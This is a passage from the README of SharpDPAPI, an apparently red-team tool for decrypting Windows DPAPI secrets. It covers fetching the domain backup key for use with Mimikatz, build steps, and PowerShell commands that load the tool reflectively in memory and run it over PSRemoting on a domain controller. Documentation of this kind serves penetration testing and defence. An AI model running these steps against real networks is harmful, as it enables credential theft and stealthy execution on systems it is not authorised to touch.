This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.

By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.


Compile Instructions

We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)

SharpDPAPI has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.


Targeting other .NET versions

SharpDPAPI's default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target SharpDPAPI for .NET 4 or 4.5, open the .sln solution, go to Project -> SharpDPAPI Properties and change the "Target framework" to another version.


Sidenote: Running SharpDPAPI Through PowerShell

If you want to run SharpDPAPI in-memory through a PowerShell wrapper, first compile the SharpDPAPI and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded SharpDPAPI assembly string):

$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[SharpDPAPI.Program]::Main("machinemasterkeys")

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.

If you follow the instructions in Sidenote: Running SharpDPAPI Through PowerShell to create a SharpDPAPI.ps1, append something like the following to the script:

[SharpDPAPI.Program]::MainString("machinemasterkeys")

You should then be able to run SharpDPAPI over PSRemoting with something like the following:

$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternatively, SharpDPAPI /consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.




Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>